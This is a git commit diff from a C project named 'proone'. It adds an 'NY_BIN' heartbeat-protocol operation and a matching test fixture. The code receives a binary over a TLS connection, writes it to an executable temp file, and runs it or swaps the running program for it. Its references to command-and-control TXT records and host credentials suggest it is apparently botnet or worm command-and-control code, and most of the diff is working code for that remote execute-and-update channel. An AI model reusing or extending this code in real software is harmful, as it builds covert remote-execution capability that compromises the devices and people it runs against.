diff options
author | David Timber <mieabby@gmail.com> | 2020-08-31 22:52:44 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-08-31 22:52:44 +0930 |
commit | 09a0a109caf71578beab6dd0cf2ac38885068a44 (patch) | |
tree | 01293306d62587f6ddcb72bb2a5a29407df71678 | |
parent | ff4d91db20381471493b4f485fa0f75390138e54 (diff) |
Impl: NY_BIN
-rw-r--r-- | src/data/proto-test/nybin | 32 | ||||
-rwxr-xr-x | src/data/proto-test/print-raw.sh | 2 | ||||
-rw-r--r-- | src/htbt.c | 89 | ||||
-rw-r--r-- | src/proone-htbthost.c | 61 |
4 files changed, 123 insertions, 61 deletions
diff --git a/src/data/proto-test/nybin b/src/data/proto-test/nybin new file mode 100644 index 0000000..3008d31 --- /dev/null +++ b/src/data/proto-test/nybin @@ -0,0 +1,32 @@ +# msg id 8A06, init +8A06 +# PRNE_HTBT_OP_NY_BIN +06 + # bin_len = 121 + 000079 + # detach = 0, args_len = 20 + 0014 + # "It" + 49 74 00 + # "worked, " + 77 6f 72 6b 65 64 2c 20 00 + # "Marty!!" + 4d 61 72 74 79 21 21 00 + # #!/bin/bash + # set -e + # + # echo "hello world!" + # + # i=1 + # while [ $# -gt 0 ]; do + # echo "arg $i: $1" + # let "i+=1" + # shift 1 + # done + # + # exit 0 + 23212f62696e2f626173680a736574202d650a0a6563686f202268656c6c + 6f20776f726c6421220a0a693d310a7768696c65205b202423202d677420 + 30205d3b20646f0a096563686f20226172672024693a202431220a096c65 + 742022692b3d31220a09736869667420310a646f6e650a0a657869742030 + 0a diff --git a/src/data/proto-test/print-raw.sh b/src/data/proto-test/print-raw.sh index 61b2997..a824fe1 100755 --- a/src/data/proto-test/print-raw.sh +++ b/src/data/proto-test/print-raw.sh @@ -1,2 +1,2 @@ #!/bin/bash -sed -E -e "/^((\\s+)?#.*)?$/D" -e "s/\\s//g" | tr -d "\\n" | xxd -ps -r +sed -E -e "s/((\\s+)?#.*)?$//" -e "/^(\\s+)?$/D" -e "s/\\s//g" | tr -d "\\n" | xxd -ps -r @@ -895,7 +895,7 @@ END: prne_htbt_free_cmd(&cmd); } -static void htbt_lbd_srv_run_bin ( +static void htbt_lbd_srv_bin ( htbt_lbd_client_t *ctx, pth_event_t root_ev, size_t off, @@ -904,7 +904,7 @@ static void htbt_lbd_srv_run_bin ( prne_htbt_bin_meta_t bin_meta; size_t actual; prne_htbt_ser_rc_t s_ret; - char *add_args[1] = { NULL }; + char *path = NULL; char **args = NULL; int fd = -1, f_ret; struct pollfd pfd; @@ -912,6 +912,10 @@ static void htbt_lbd_srv_run_bin ( prne_htbt_status_code_t ret_status = PRNE_HTBT_STATUS_OK; int32_t ret_errno = 0; + prne_dbgast( + mh->op == PRNE_HTBT_OP_RUN_BIN || + mh->op == PRNE_HTBT_OP_NY_BIN); + prne_htbt_init_bin_meta(&bin_meta); htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev); @@ -936,25 +940,23 @@ static void htbt_lbd_srv_run_bin ( ret_status = PRNE_HTBT_STATUS_UNIMPL; goto SND_STATUS; } + if (mh->op == PRNE_HTBT_OP_NY_BIN && + ctx->parent->param.cb_f.ny_bin == NULL) + { + ret_status = PRNE_HTBT_STATUS_UNIMPL; + goto SND_STATUS; + } + + errno = 0; - add_args[0] = ctx->parent->param.cb_f.tmpfile(bin_meta.bin_size, 0700); - if (add_args[0] == NULL) { + path = ctx->parent->param.cb_f.tmpfile(bin_meta.bin_size, 0700); + if (path == NULL) { ret_status = PRNE_HTBT_STATUS_ERRNO; ret_errno = errno; goto SND_STATUS; } - args = prne_htbt_parse_args( - bin_meta.cmd.mem, - bin_meta.cmd.mem_len, - 1, - add_args, - NULL, - SIZE_MAX); - if (args == NULL) { - goto END; - } - fd = open(add_args[0], O_WRONLY); + fd = open(path, O_WRONLY); if (fd < 0) { ret_status = PRNE_HTBT_STATUS_ERRNO; ret_errno = errno; @@ -987,7 +989,7 @@ static void htbt_lbd_srv_run_bin ( ctx->iobuf[0].m, ctx->iobuf[0].avail); if (f_ret <= 0) { - goto END; + goto PROTO_ERR; } prne_iobuf_shift(ctx->iobuf + 0, f_ret); } @@ -997,7 +999,8 @@ static void htbt_lbd_srv_run_bin ( } actual = prne_op_min(bin_meta.bin_size, ctx->iobuf[0].len); - f_ret = pth_write(fd, ctx->iobuf[0].m, actual); + // This blocks! + f_ret = write(fd, ctx->iobuf[0].m, actual); prne_iobuf_shift(ctx->iobuf + 0, -actual); bin_meta.bin_size -= actual; if (f_ret < 0) { @@ -1009,15 +1012,39 @@ static void htbt_lbd_srv_run_bin ( close(fd); fd = -1; - htbt_do_cmd( - bin_meta.cmd.detach, - args, - ctx->fd, - &ctx->ssl, - ctx->iobuf, - mh->id, - &ret_status, - &ret_errno); + if (mh->op == PRNE_HTBT_OP_RUN_BIN) { + char *add_args[1] = { path }; + + args = prne_htbt_parse_args( + bin_meta.cmd.mem, + bin_meta.cmd.mem_len, + 1, + add_args, + NULL, + SIZE_MAX); + if (args == NULL) { + goto END; + } + + htbt_do_cmd( + bin_meta.cmd.detach, + args, + ctx->fd, + &ctx->ssl, + ctx->iobuf, + mh->id, + &ret_status, + &ret_errno); + } + else { + if (!ctx->parent->param.cb_f.ny_bin(path, &bin_meta.cmd)) { + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_errno = errno; + goto SND_STATUS; + } + path[0] = 0; + } + goto SND_STATUS; PROTO_ERR: htbt_lbd_raise_protoerr(ctx, mh->id, 0); @@ -1033,10 +1060,10 @@ SND_STATUS: END: ctx->skip = bin_meta.bin_size; prne_htbt_free_bin_meta(&bin_meta); - if (add_args[0] != NULL) { - unlink(add_args[0]); - prne_free(add_args[0]); + if (path[0] != 0) { + unlink(path); } + prne_free(path); prne_free(args); prne_close(fd); pth_event_free(ev, FALSE); @@ -1105,10 +1132,10 @@ static bool htbt_lbd_consume_inbuf ( htbt_lbd_srv_run_cmd(ctx, root_ev, actual, &f_head); break; case PRNE_HTBT_OP_RUN_BIN: - htbt_lbd_srv_run_bin(ctx, root_ev, actual, &f_head); + case PRNE_HTBT_OP_NY_BIN: + htbt_lbd_srv_bin(ctx, root_ev, actual, &f_head); break; case PRNE_HTBT_OP_HOVER: - case PRNE_HTBT_OP_NY_BIN: default: htbt_lbd_raise_protoerr( ctx, diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index 555b9d3..c69fa3d 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -50,6 +50,7 @@ static struct timespec proc_start; static uint8_t instance_id[16]; static char hostcred[255]; static size_t hostcred_len; +static pth_t main_pth; static void init_htbthost_param (htbthost_param_t *p) { p->verify = true; @@ -107,24 +108,23 @@ static bool cb_hostinfo (prne_htbt_host_info_t *out) { return true; } -static bool cb_ny_bin ( - const char *path, - const char *m_args, - const size_t m_args_size) +static bool cb_ny_bin (const char *path, const prne_htbt_cmd_t *cmd) { const size_t path_len = prne_nstrlen(path); prne_dbgast(path_len > 0); - if (path_len + 1 > sizeof(m_nybin_path) || m_args_size > sizeof(m_nybin_args)) { + if (path_len + 1 > sizeof(m_nybin_path) || + cmd->mem_len > sizeof(m_nybin_args)) + { errno = ENOMEM; return false; } memcpy(m_nybin_path, path, path_len + 1); - memcpy(m_nybin_args, m_args, m_args_size); - m_nybin_args_size = m_args_size; + memcpy(m_nybin_args, cmd->mem, cmd->mem_len); + m_nybin_args_size = cmd->mem_len; - return true; + return pth_raise(main_pth, SIGTERM) != 0; } static void load_lbd_ssl_conf ( @@ -236,20 +236,9 @@ static bool parse_param (const char *arg) { static char *mktmpfile (size_t req_size, const mode_t mode) { static int ctr = 0; - uint8_t *z = NULL; - size_t z_size; - ssize_t consume; char *path = NULL, *ret = NULL; int fd = -1, len; - z_size = prne_getpagesize(); - z = prne_calloc(1, z_size); - if (z == NULL) { - z_size = 1; - z = prne_malloc(1, 1); - z[0] = 0; - } - len = snprintf(NULL, 0, "htbthost-tmp.%d", ctr); if (len < 0) { goto END; @@ -263,19 +252,14 @@ static char *mktmpfile (size_t req_size, const mode_t mode) { goto END; } - // TODO: Polyfill fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode); if (fd < 0) { goto END; } fcntl(fd, F_SETFD, FD_CLOEXEC); - while (req_size > 0) { - consume = prne_op_min(z_size, req_size); - if (pth_write(fd, z, consume) != (int)consume) { - goto END; - } - req_size -= consume; + if (ftruncate(fd, (off_t)req_size) != 0) { + goto END; } ret = path; @@ -287,10 +271,23 @@ END: } prne_free(path); prne_close(fd); - prne_free(z); return ret; } +static void do_run_ny_bin (void) { + for (size_t i = 0; i < m_nybin_args_size; i += 1) { + if (m_nybin_args[i] == 0) { + m_nybin_args[i] = ' '; + } + } + m_nybin_args[m_nybin_args_size - 1] = 0; + + printf( + "ny bin received:\n%s %s\n", + m_nybin_path, + m_nybin_args); +} + int main (const int argc, const char **args) { static mbedtls_entropy_context entropy; @@ -317,7 +314,6 @@ int main (const int argc, const char **args) { sigaddset(&ss_all, SIGTERM); sigaddset(&ss_all, SIGINT); sigaddset(&ss_all, SIGPIPE); - // sigaddset(&ss_all, SIGCHLD); sigaddset(&ss_exit, SIGTERM); sigaddset(&ss_exit, SIGINT); assert(regcomp( @@ -367,6 +363,7 @@ int main (const int argc, const char **args) { mbedtls_debug_set_threshold(1); pth_init(); + main_pth = pth_self(); proc_start = prne_gettime(CLOCK_MONOTONIC); @@ -435,9 +432,10 @@ int main (const int argc, const char **args) { param.cncp_ssl_conf = &ssl.cncp.conf; param.ctr_drbg = &rnd; param.resolv = resolv; - param.cb_f.tmpfile = mktmpfile; param.cb_f.cnc_txtrec = cb_txtrec; param.cb_f.hostinfo = cb_hostinfo; + param.cb_f.tmpfile = mktmpfile; + param.cb_f.ny_bin = cb_ny_bin; w = wkr_arr + 1; htbt = prne_alloc_htbt(w, param); @@ -479,5 +477,10 @@ int main (const int argc, const char **args) { regfree(&re_ns4); regfree(&re_ns6); + if (prne_nstrlen(m_nybin_path) > 0) { + do_run_ny_bin(); + return 3; + } + return 0; } |